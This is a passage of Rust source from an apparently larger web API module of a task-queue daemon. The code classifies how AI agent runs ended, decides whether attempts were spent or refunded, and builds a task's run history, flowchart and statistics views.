5418            ),
5419        };
5420        Self {
5421            index: p.index,
5422            resumed: p.resumed,
5423            started_at: p.started_at,
5424            ended_at: p.ended_at,
5425            end,
5426            cause,
5427            label,
5428            cost: settled.map(|t| t.cost),
5429        }
5430    }
5431}
5432
5433/// How one pass over a run ended, as far as the task's life is concerned.
5434#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5435#[serde(rename_all = "snake_case")]
5436enum RunExit {
5437    Unreadable,
5438    /// An earlier pass of a run id that appears again: it stopped short.
5439    Interrupted,
5440    Parked,
5441    QuotaStall,
5442    /// Stalled on a resumed pass with quota losses on record: they may be
5443    /// left over from an earlier pass, so whether this one was refunded is
5444    /// not knowable.
5445    ResumedQuotaStall,
5446    Merged,
5447    Ready,
5448    Superseded,
5449    /// The change was already on the base under other commits: the task
5450    /// finished without this run landing anything.
5451    AlreadyInBase,
5452    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5453    Stalled,
5454    /// Blocked / no-op with a pull request left open: held for a person.
5455    HeldWithPr,
5456    NoopHeld,
5457    /// Blocked or failed: the attempt is spent and the task retries or holds.
5458    Spent,
5459    InProgress,
5460}
5461
5462#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5463#[serde(rename_all = "snake_case")]
5464enum AttemptCost {
5465    Spent,
5466    Refunded,
5467    None,
5468    /// Cannot be told from the records that remain.
5469    Unknown,
5470}
5471
5472impl RunExit {
5473    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5474        let Some(s) = s else {
5475            return Self::Unreadable;
5476        };
5477        let status = s.status;
5478        if resumed_later {
5479            Self::Interrupted
5480        } else if s.parked {
5481            Self::Parked
5482        } else if !status.done() {
5483            Self::InProgress
5484        } else if matches!(status, RunStatus::Merged) {
5485            Self::Merged
5486        } else if matches!(status, RunStatus::Ready) {
5487            Self::Ready
5488        } else if matches!(status, RunStatus::Superseded) {
5489            Self::Superseded
5490        } else if matches!(status, RunStatus::AlreadyInBase) {
5491            Self::AlreadyInBase
5492        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5493            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5494        {
5495            if resumed {
5496                Self::ResumedQuotaStall
5497            } else {
5498                Self::QuotaStall
5499            }
5500        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5501            Self::HeldWithPr
5502        } else if matches!(status, RunStatus::VerifiedNoop) {
5503            Self::NoopHeld
5504        } else if matches!(status, RunStatus::Stalled) {
5505            Self::Stalled
5506        } else {
5507            Self::Spent
5508        }
5509    }
5510
5511    fn cost(self) -> AttemptCost {
5512        match self {
5513            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5514            Self::Merged
5515            | Self::Ready
5516            | Self::Stalled
5517            | Self::HeldWithPr
5518            | Self::NoopHeld
5519            | Self::Spent => AttemptCost::Spent,
5520            Self::InProgress => AttemptCost::None,
5521            Self::AlreadyInBase => AttemptCost::Refunded,
5522            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5523                AttemptCost::Unknown
5524            }
5525        }
5526    }
5527
5528    /// Short edge wording for leaving a run this way.
5529    fn edge_label(self, status: Option<&str>) -> String {
5530        match self {
5531            Self::Unreadable => "record unreadable".to_owned(),
5532            Self::Interrupted => "interrupted before the run finished".to_owned(),
5533            Self::Parked => "parked, attempt refunded".to_owned(),
5534            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5535            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5536            Self::Merged => "merged".to_owned(),
5537            Self::Ready => "ready, not merged".to_owned(),
5538            Self::Superseded => "superseded by a later attempt".to_owned(),
5539            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5540            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5541            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5542            Self::NoopHeld => "verified no-op".to_owned(),
5543            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5544            Self::InProgress => "in progress".to_owned(),
5545        }
5546    }
5547
5548    /// Does a task in `end` follow from a run that ended this way? When not,
5549    /// somebody closed or held the task by hand.
5550    fn explains(self, end: TaskStatus) -> bool {
5551        match self {
5552            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5553            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5554            Self::Unreadable | Self::Superseded | Self::Ready => true,
5555            _ => end != TaskStatus::Done,
5556        }
5557    }
5558}
5559
5560/// `GET /api/queue/{id}` - one task with every attempt it went through.
5561#[derive(Debug, Serialize)]
5562struct TaskDetailView {
5563    #[serde(flatten)]
5564    task: TaskView,
5565    /// Task override, or the default daemon budget when inherited.
5566    /// A separate loop's command-line limit is not visible from here.
5567    max_attempts: usize,
5568    history: Vec<TaskRunView>,
5569    /// Entries in `history`: passes over runs, not distinct runs and not
5570    /// attempts consumed (`task.attempts`).
5571    passes_total: usize,
5572    /// Distinct runs those passes belong to.
5573    runs_distinct: usize,
5574    flow: FlowView,
5575    /// Set for a follow-up task; see [`followup_origin`].
5576    followup_origin: Option<FollowUpOrigin>,
5577    /// How many entries of `history` could not be read.
5578    runs_unreadable: usize,
5579    /// Why the attempt count can be lower than the number of runs.
5580    attempts_note: &'static str,
5581}
5582
5583const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5584and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5585on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5586the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5587
5588/// The branch a review-only run reopened, read off the instruction
5589/// `Runner::open_review` writes.
5590fn review_branch_of(instruction: &str) -> Option<&str> {
5591    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5592    rest.split('`').next().filter(|b| !b.is_empty())
5593}
5594
5595/// Where an entry sits in a task's run list.
5596#[derive(Default)]
5597struct RunSlot<'a> {
5598    /// 1-based position.
5599    n: usize,
5600    /// The same run id appeared earlier: this pass resumed it.
5601    resumed: bool,
5602    /// Position of a later pass over the same run id, if any.
5603    resumed_later: Option<usize>,
5604    /// The previous distinct run and how it ended, for the retry note.
5605    prior: Option<(&'a str, RunStatus)>,
5606    last: bool,
5607    /// This pass as the run recorded it, when it did.
5608    pass: Option<&'a crate::run::RunPass>,
5609    /// What the task recorded when it settled this pass.
5610    settled: Option<&'a crate::queue::TaskPass>,
5611    /// 1-based position among the task's entries for this run, and their count.
5612    pass_n: usize,
5613    passes_of_run: usize,
5614}
5615
5616/// Describe one entry of a task's run list. Pure: everything it needs is on
5617/// the run and the task, so it is asserted without a server.
5618fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5619    let RunSlot {
5620        n,
5621        resumed,
5622        resumed_later,
5623        prior,
5624        last,
5625        pass,
5626        settled,
5627        pass_n,
5628        passes_of_run,
5629    } = at;
5630    let short = run::short_of(id).to_owned();
5631    let Some(s) = state else {
5632        return TaskRunView {
5633            n,
5634            id: id.to_owned(),
5635            short,
5636            kind: "unknown",
5637            status: None,
5638            readable: false,
5639            provisional: false,
5640            description:
5641                "This run's record could not be read by this build (written by a different \
5642                          magi, or removed), so what kind of attempt it was is unknown."
5643                    .to_owned(),
5644            outcome: String::new(),
5645            created_at: None,
5646            pr: None,
5647            exit: RunExit::Unreadable,
5648            attempt: AttemptCost::Unknown,
5649            exit_label: RunExit::Unreadable.edge_label(None),
5650            later_pass: resumed_later,
5651            pass_n,
5652            passes_of_run,
5653            pass: None,
5654            branch: None,
5655            badge: None,
5656        };
5657    };
5658    let branch = review_branch_of(&s.instruction);
5659    let kind = if resumed {
5660        "resume"
5661    } else if branch.is_some() {
5662        "review"
5663    } else if task.solo || s.candidates.len() == 1 {
5664        "solo"
5665    } else {
5666        "competition"
5667    };
5668    let mut description = match kind {
5669        "resume" => {
5670            format!("Resumed run {short}: the same run carried on instead of competing again.")
5671        }
5672        "review" => format!(
5673            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5674            branch.unwrap_or_default()
5675        ),
5676        "solo" => "Solo run: one implementer straight into review.".to_owned(),
5677        _ => format!(
5678            "Competition: {} candidates judged blind.",
5679            s.candidates.len().max(1)
5680        ),
5681    };
5682    if !resumed && let Some((p, st)) = prior {
5683        description.push_str(&format!(
5684            " A retry: run {p} before it ended {}.",
5685            st.display_label()
5686        ));
5687    }
5688
5689    let status = s.status;
5690    let provisional = matches!(status, RunStatus::Stalled)
5691        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5692    let head = if resumed_later.is_some() {
5693        String::new()
5694    } else {
5695        match status {
5696            RunStatus::Merged => "Merged.".to_owned(),
5697            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5698            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5699            RunStatus::AlreadyInBase => {
5700                "Already in the base: this change landed under other commits, nothing was left to land."
5701                    .to_owned()
5702            }
5703            RunStatus::Stalled => {
5704                "Stalled: the judging panel never reached a quorum, so there is no verdict."
5705                    .to_owned()
5706            }
5707            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5708            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5709            RunStatus::VerifiedNoop => {
5710                "Verified no-op: the candidates found nothing to change.".to_owned()
5711            }
5712            other if other.done() => format!("Ended {}.", other.display_label()),
5713            other => format!("In progress ({}).", other.display_label()),
5714        }
5715    };
5716    let view = pass.map(|p| PassView::of(p, settled));
5717    let recorded_end = view
5718        .as_ref()
5719        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5720    let cost_words = match view.as_ref().and_then(|v| v.cost) {
5721        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5722        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5723        None => "whether its attempt was handed back was not recorded",
5724    };
5725    let pass_note = if passes_of_run > 1 {
5726        format!(
5727            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5728        )
5729    } else {
5730        String::new()
5731    };
5732    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5733        // The run recorded this pass's end when it happened.
5734        let cause = match v.end {
5735            "parked" => format!("It was stopped on purpose: {}.", v.label),
5736            _ => format!("It {}.", v.label),
5737        };
5738        format!(
5739            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5740            capitalise(cost_words)
5741        )
5742    } else if let Some(k) = resumed_later {
5743        // A run is only picked up again while it is unfinished, so an earlier
5744        // pass of a repeated id stopped short; the record keeps only the run's
5745        // latest status, which is left to the pass that carried it on.
5746        // Only the latest state is recorded: `parked` is cleared on resume
5747        // and `quota` accumulates across passes, so neither says why *this*
5748        // pass stopped, and the refund is as unknown as `AttemptCost` says.
5749        let cause = if s.quota.is_empty() {
5750            "the cause was not recorded: a park, a crash or a restart all look the same from here"
5751        } else {
5752            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5753        };
5754        format!(
5755            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5756        )
5757    } else if s.parked {
5758        match recorded_end.and_then(|v| v.cause.as_ref()) {
5759            Some(cause) => format!(
5760                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5761                cause.label(),
5762                cost_words
5763            ),
5764            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5765                .to_owned(),
5766        }
5767    } else if !status.done()
5768        || matches!(
5769            status,
5770            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5771        )
5772    {
5773        String::new()
5774    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5775        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5776    {
5777        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5778            .to_owned()
5779    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5780        " It left a pull request open, so the task was held for a person rather than retried."
5781            .to_owned()
5782    } else if matches!(status, RunStatus::VerifiedNoop) {
5783        " Held for a person to check the claim.".to_owned()
5784    } else if last {
5785        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5786    } else {
5787        " It spent an attempt, and the task moved on to the next run.".to_owned()
5788    };
5789    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5790    let mut attempt = exit.cost();
5791    let mut exit_label = None;
5792    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5793        let spent = match v.cost {
5794            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5795            Some(crate::queue::PassCost::Spent) => ", attempt counted",
5796            None if resumed_later.is_some() => ", refund not recorded",
5797            None => ", attempt refunded",
5798        };
5799        attempt = match v.cost {
5800            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5801            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5802            None if resumed_later.is_some() => AttemptCost::Unknown,
5803            None => attempt,
5804        };
5805        if v.end == "parked" {
5806            exit = RunExit::Parked;
5807            exit_label = Some(match v.cause.as_ref() {
5808                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5809                    format!("parked for {}{spent}", c.label())
5810                }
5811                Some(c) => format!("parked ({}){spent}", c.label()),
5812                None => format!("parked{spent}"),
5813            });
5814        } else {
5815            exit_label = Some(format!("stopped without a recorded cause{spent}"));
5816        }
5817    }
5818    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5819    TaskRunView {
5820        n,
5821        id: id.to_owned(),
5822        short,
5823        kind,
5824        status: Some(status.as_str()),
5825        readable: true,
5826        provisional,
5827        description,
5828        outcome: format!("{head}{why}"),
5829        created_at: Some(s.created_at),
5830        pr: s.pr.as_ref().map(|p| p.url.clone()),
5831        exit,
5832        attempt,
5833        exit_label,
5834        later_pass: resumed_later,
5835        pass_n,
5836        passes_of_run,
5837        pass: view,
5838        branch: branch.map(str::to_owned),
5839        badge: None,
5840    }
5841}
5842
5843fn capitalise(s: &str) -> String {
5844    let mut c = s.chars();
5845    c.next().map_or_else(String::new, |f| {
5846        f.to_uppercase().collect::<String>() + c.as_str()
5847    })
5848}
5849
5850/// One box of the task's flowchart.
5851#[derive(Debug, Serialize, PartialEq)]
5852struct FlowNode {
5853    /// Unique by position: a resumed run id appears once per pass.
5854    key: String,
5855    /// `chat`, `followup`, `start`, `run` or `end`.
5856    kind: &'static str,
5857    label: String,
5858    /// Run status (or the task's, for `end`); `None` when it is not a fact
5859    /// about this box (unreadable, or a pass the run later resumed from).
5860    status: Option<&'static str>,
5861    /// Whose status `status` is, so the client picks the right colour table:
5862    /// `task` (the `followup` parent and `end`) or `run`.
5863    status_of: &'static str,
5864    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5865    note: Option<&'static str>,
5866    run_kind: Option<&'static str>,
5867    detail: Option<String>,
5868    /// A readable run with a real verdict; a stall never is.
5869    decided: bool,
5870    readable: bool,
5871    href: Option<String>,
5872    /// Overrides `status` as the badge word (`stale` / `superseded`).
5873    badge: Option<String>,
5874    /// Start of this entry, never the run's latest update or pass settlement.
5875    started_at: Option<Timestamp>,
5876    /// Context links (chat / follow-up) do not represent execution entries.
5877    time_expected: bool,
5878}
5879
5880#[derive(Debug, Serialize, PartialEq)]
5881struct FlowEdge {
5882    from: String,
5883    to: String,
5884    label: String,
5885    attempt: AttemptCost,
5886}
5887
5888#[derive(Debug, Serialize, PartialEq)]
5889struct FlowView {
5890    nodes: Vec<FlowNode>,
5891    edges: Vec<FlowEdge>,
5892    /// Attempts the task has counted since it was last released.
5893    attempts: usize,
5894    max_attempts: usize,
5895    /// Entries in the run list (passes), and how many distinct runs they are.
5896    /// Neither is the number of attempts consumed.
5897    passes: usize,
5898    runs: usize,
5899}
5900
5901/// Turn a task and its described runs into the flowchart's boxes and arrows.
5902/// Pure: the page only draws what this returns.
5903///
5904/// A follow-up opens with its parent (or the merged run) unless the task's
5905/// *source* is itself a chat, in which case the chat stays first and the
5906/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5907/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5908/// two normally do not coincide and the nearer origin wins.
5909fn task_flow(
5910    task: &Task,
5911    history: &[TaskRunView],
5912    max_attempts: usize,
5913    origin: Option<&FollowUpOrigin>,
5914) -> FlowView {
5915    let max_attempts = task.effective_attempt_limit(max_attempts);
5916    let node = |key: &str, kind, label: String| FlowNode {
5917        key: key.to_owned(),
5918        kind,
5919        label,
5920        status: None,
5921        status_of: "run",
5922        note: None,
5923        run_kind: None,
5924        detail: None,
5925        decided: false,
5926        readable: true,
5927        href: None,
5928        badge: None,
5929        started_at: None,
5930        time_expected: matches!(kind, "start" | "run" | "end"),
5931    };
5932    let mut nodes = Vec::new();
5933    let mut edges: Vec<FlowEdge> = Vec::new();
5934    // A task queued from a chat opens the flow with that conversation.
5935    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5936        let mut n = node(
5937            "chat",
5938            "chat",
5939            format!("Chat {}", crate::queue::short(&link.id)),
5940        );
5941        n.href = Some(link.href);
5942        nodes.push(n);
5943        edges.push(FlowEdge {
5944            from: "chat".to_owned(),
5945            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5946            label: "queued from chat".to_owned(),
5947            attempt: AttemptCost::None,
5948        });
5949    }
5950    if let Some(o) = origin {
5951        let mut n = match &o.parent {
5952            Some(p) => {
5953                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5954                n.status = Some(p.status);
5955                n.status_of = "task";
5956                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5957                n.href = Some(p.href.clone());
5958                n
5959            }
5960            None => {
5961                let mut n = node(
5962                    "origin",
5963                    "followup",
5964                    format!("Follow-up of run {}", o.run.short),
5965                );
5966                n.detail = Some("merged run".to_owned());
5967                n.status = o.run.status;
5968                n.href = o.run.href.clone();
5969                if o.run.href.is_none() {
5970                    n.readable = false;
5971                    n.note = Some("unreadable");
5972                }
5973                n
5974            }
5975        };
5976        n.decided = true;
5977        let from = n.key.clone();
5978        nodes.push(n);
5979        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5980        let more = o.findings.len().saturating_sub(shown.len());
5981        let label = match (shown.is_empty(), more) {
5982            (true, _) => "open findings".to_owned(),
5983            (false, 0) => format!("open findings {}", shown.join(", ")),
5984            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5985        };
5986        edges.push(FlowEdge {
5987            from,
5988            to: "start".to_owned(),
5989            label,
5990            attempt: AttemptCost::None,
5991        });
5992    }
5993    let mut start = node("start", "start", "Task queued".to_owned());
5994    start.started_at = Some(task.created_at);
5995    nodes.push(start);
5996    let mut prev = "start".to_owned();
5997    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5998    for (i, h) in history.iter().enumerate() {
5999        let key = format!("run-{}", h.n);
6000        let mut n = node(&key, "run", format!("Run {}", h.short));
6001        // Creation marks only the first pass of legacy runs. A resumed pass
6002        // without a record must not inherit the original run's start time.
6003        n.started_at = h
6004            .readable
6005            .then(|| {
6006                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6007                    h.created_at
6008                } else {
6009                    None
6010                })
6011            })
6012            .flatten();
6013        n.run_kind = Some(h.kind);
6014        n.readable = h.readable;
6015        n.href = Some(format!("#/runs/{}", h.id));
6016        n.decided = h.readable && !h.provisional;
6017        n.detail = h
6018            .branch
6019            .as_ref()
6020            .map(|b| format!("review-only run of branch {b}"));
6021        match h.exit {
6022            RunExit::Unreadable => n.note = Some("unreadable"),
6023            RunExit::Interrupted => n.note = Some("interrupted"),
6024            // An earlier pass the run recorded as parked: the status shown
6025            // would be the run's current one, not this pass's.
6026            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6027            _ => {
6028                n.status = h.status;
6029                n.badge = h.badge.clone();
6030                if h.provisional {
6031                    n.note = Some("no verdict");
6032                }
6033            }
6034        }
6035        let into = match h.kind {
6036            "review" => Some(format!(
6037                "review-only run of branch {}",
6038                h.branch.as_deref().unwrap_or("?")
6039            )),
6040            "resume" => Some("resume the same run".to_owned()),
6041            _ if i > 0 => Some("retry".to_owned()),
6042            _ => None,
6043        };
6044        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6045        let label = match (prev_exit, into) {
6046            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6047            (Some((_, l, _)), None) => l,
6048            (None, Some(i)) => i,
6049            (None, None) => "claimed".to_owned(),
6050        };
6051        edges.push(FlowEdge {
6052            from: prev.clone(),
6053            to: key.clone(),
6054            label,
6055            attempt,
6056        });
6057        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6058        prev = key;
6059        nodes.push(n);
6060    }
6061    let mut end = node("end", "end", task.status.as_str().to_owned());
6062    end.status = Some(task.status.as_str());
6063    end.status_of = "task";
6064    // Other task states do not persist their transition start. In particular,
6065    // blocked_at can change while the task remains blocked.
6066    if task.status == TaskStatus::Held {
6067        end.started_at = task.held_at;
6068    }
6069    nodes.push(end);
6070    let (label, attempt) = match prev_exit {
6071        None => (
6072            format!("no run yet \u{2192} {}", task.status.as_str()),
6073            AttemptCost::None,
6074        ),
6075        Some((e, l, cost)) if e.explains(task.status) => {
6076            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6077        }
6078        Some((_, _, cost)) => (
6079            format!("closed by hand: task is {}", task.status.as_str()),
6080            cost,
6081        ),
6082    };
6083    edges.push(FlowEdge {
6084        from: prev,
6085        to: "end".to_owned(),
6086        label,
6087        attempt,
6088    });
6089    FlowView {
6090        nodes,
6091        edges,
6092        attempts: task.attempts,
6093        max_attempts,
6094        passes: history.len(),
6095        runs: distinct_runs(&task.runs),
6096    }
6097}
6098
6099/// How many different run ids a task's run list names.
6100fn distinct_runs(runs: &[String]) -> usize {
6101    let mut seen: Vec<&str> = Vec::new();
6102    for r in runs {
6103        if !seen.contains(&r.as_str()) {
6104            seen.push(r);
6105        }
6106    }
6107    seen.len()
6108}
6109
6110/// Describe recorded task passes, retaining unrecorded legacy list entries.
6111fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6112    let mut slots = Vec::new();
6113    let mut seen = Vec::new();
6114    for run_id in &task.runs {
6115        if seen.contains(&run_id) {
6116            continue;
6117        }
6118        seen.push(run_id);
6119        let state = read(run_id);
6120        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6121            s.passes
6122                .iter()
6123                .filter(|p| {
6124                    p.task_entry
6125                        || task
6126                            .passes
6127                            .iter()
6128                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6129                })
6130                .cloned()
6131                .collect()
6132        });
6133        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6134        let total = legacy_count.max(mine.len());
6135        let offset = total - mine.len();
6136        for k in 0..total {
6137            // Legacy repeated entries retain their original positions. When
6138            // ids are unique, recorded pass times recover the resume order.
6139            let position = task
6140                .runs
6141                .iter()
6142                .enumerate()
6143                .filter(|(_, r)| *r == run_id)
6144                .nth(k.min(legacy_count - 1))
6145                .unwrap()
6146                .0;
6147            slots.push((
6148                run_id,
6149                state.clone(),
6150                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6151                position,
6152            ));
6153        }
6154    }
6155    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6156        slots.sort_by_key(|(_, state, pass, _)| {
6157            pass.as_ref()
6158                .map(|p| p.started_at)
6159                .or_else(|| state.as_ref().map(|s| s.created_at))
6160                .map_or((true, task.created_at), |at| (false, at))
6161        });
6162    } else {
6163        slots.sort_by_key(|(_, _, _, position)| *position);
6164    }
6165    let mut history = Vec::with_capacity(slots.len());
6166    let mut seen: Vec<&str> = Vec::new();
6167    let mut prior: Option<(&str, RunStatus)> = None;
6168    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6169        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6170        let resumed = k > 0;
6171        seen.push(run_id);
6172        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6173        let pass = pass.as_ref();
6174        let settled = pass.and_then(|p| {
6175            task.passes
6176                .iter()
6177                .find(|t| t.run == **run_id && t.pass_index == p.index)
6178        });
6179        history.push(task_run_view(
6180            run_id,
6181            state.as_ref(),
6182            RunSlot {
6183                n: i + 1,
6184                resumed,
6185                resumed_later: slots[i + 1..]
6186                    .iter()
6187                    .position(|(id, _, _, _)| id == run_id)
6188                    .map(|off| i + off + 2),
6189                prior,
6190                last: i + 1 == slots.len(),
6191                pass,
6192                settled,
6193                pass_n: k + 1,
6194                passes_of_run: total,
6195            },
6196            task,
6197        ));
6198        if let Some(s) = &state {
6199            prior = Some((run::short_of(run_id), s.status));
6200        }
6201    }
6202    history
6203}
6204
6205/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6206/// An earlier pass of a resumed run keeps no badge (it has no status box).
6207fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6208    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6209        return;
6210    }
6211    let (_, claimed, _) = run_row_inputs(ui);
6212    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6213    for h in history
6214        .iter_mut()
6215        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6216    {
6217        let Ok(state) = read_run(&ui.runs, &h.id) else {
6218            continue;
6219        };
6220        if state.status.done() {
6221            continue;
6222        }
6223        let live = state.liveness_with(
6224            claimed.contains(&h.id),
6225            |p| probe.borrow_mut().status(p),
6226            |p| probe.borrow_mut().started_at(p),
6227        );
6228        let waiting = !ui.questions.open_for(&h.id).is_empty();
6229        let display = run_display_status(&state, waiting, live);
6230        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6231        if matches!(word.as_str(), "stale" | "superseded")
6232            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6233        {
6234            h.badge = Some(word);
6235        }
6236    }
6237}
6238
6239async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6240    blocking(move || {
6241        let id = resolve_task(&ui.queue, &id)?;
6242        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6243    })
6244    .await
6245}
6246
6247async fn task_detail(
6248    State(ui): State<Arc<Ui>>,
6249    Path(id): Path<String>,
6250) -> ApiResult<Json<TaskDetailView>> {
6251    blocking(move || {
6252        let id = resolve_task(&ui.queue, &id)?;
6253        let task = ui
6254            .queue
6255            .get(&id)
6256            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6257        let inv = if task.status == TaskStatus::Blocked {
6258            Some(crate::blockers::Inventory::load_for(
6259                &ui.queue,
6260                &ui.questions,
6261                &task,
6262            ))
6263        } else {
6264            None
6265        };
6266        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6267        mark_badges(&ui, &task, &mut history);
6268        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6269        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6270        let origin = task.followup.as_ref().map(|fu| {
6271            followup_origin(
6272                fu,
6273                |tid| ui.queue.get(tid).ok(),
6274                |rid| read_run(&ui.runs, rid).ok(),
6275            )
6276        });
6277        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6278        let task_view = match inv.as_ref() {
6279            Some(inv) => TaskView::with_inventory(task, inv),
6280            None => TaskView::from(task),
6281        };
6282        Ok(Json(TaskDetailView {
6283            max_attempts,
6284            flow,
6285            followup_origin: origin,
6286            passes_total: history.len(),
6287            runs_distinct: distinct_runs(&task_view.task.runs),
6288            history,
6289            runs_unreadable,
6290            attempts_note: ATTEMPTS_NOTE,
6291            task: task_view,
6292        }))
6293    })
6294    .await
6295}
6296
6297/// A rate together with its denominator, so the client can tell "computed as
6298/// 0%" apart from "no data to compute it from" — both would otherwise
6299/// serialize as `0.0`. `None` means the denominator was zero.
6300#[derive(Debug, Serialize)]
6301struct RateView {
6302    pct: f64,
6303    denominator: usize,
6304}
6305
6306impl RateView {
6307    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6308        (denominator > 0).then(|| Self {
6309            pct: 100.0 * numerator as f64 / denominator as f64,
6310            denominator,
6311        })
6312    }
6313}
6314
6315/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6316/// rates, each paired with its own denominator via [`RateView`] rather than
6317/// exposing `Stats`' own percentage methods directly — see this module's
6318/// doc for why `Stats` itself is never serialized.
6319#[derive(Debug, Serialize)]
6320struct StatsTotalsView {
6321    runs: usize,
6322    merged: usize,
6323    ready: usize,
6324    blocked: usize,
6325    failed: usize,
6326    stalled: usize,
6327    verified_noop: usize,
6328    superseded: usize,
6329    in_progress: usize,
6330    completion_rate: Option<RateView>,
6331    tallied: usize,
6332    split: usize,
6333    split_rate: Option<RateView>,
6334    deliberated: usize,
6335    minds_changed: usize,
6336    converged: usize,
6337    review_rounds: usize,
6338}
6339
6340impl From<&stats::Totals> for StatsTotalsView {
6341    fn from(t: &stats::Totals) -> Self {
6342        Self {
6343            runs: t.runs,
6344            merged: t.merged,
6345            ready: t.ready,
6346            blocked: t.blocked,
6347            failed: t.failed,
6348            stalled: t.stalled,
6349            verified_noop: t.verified_noop,
6350            superseded: t.superseded,
6351            in_progress: t.in_progress,
6352            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6353            tallied: t.tallied,
6354            split: t.split,
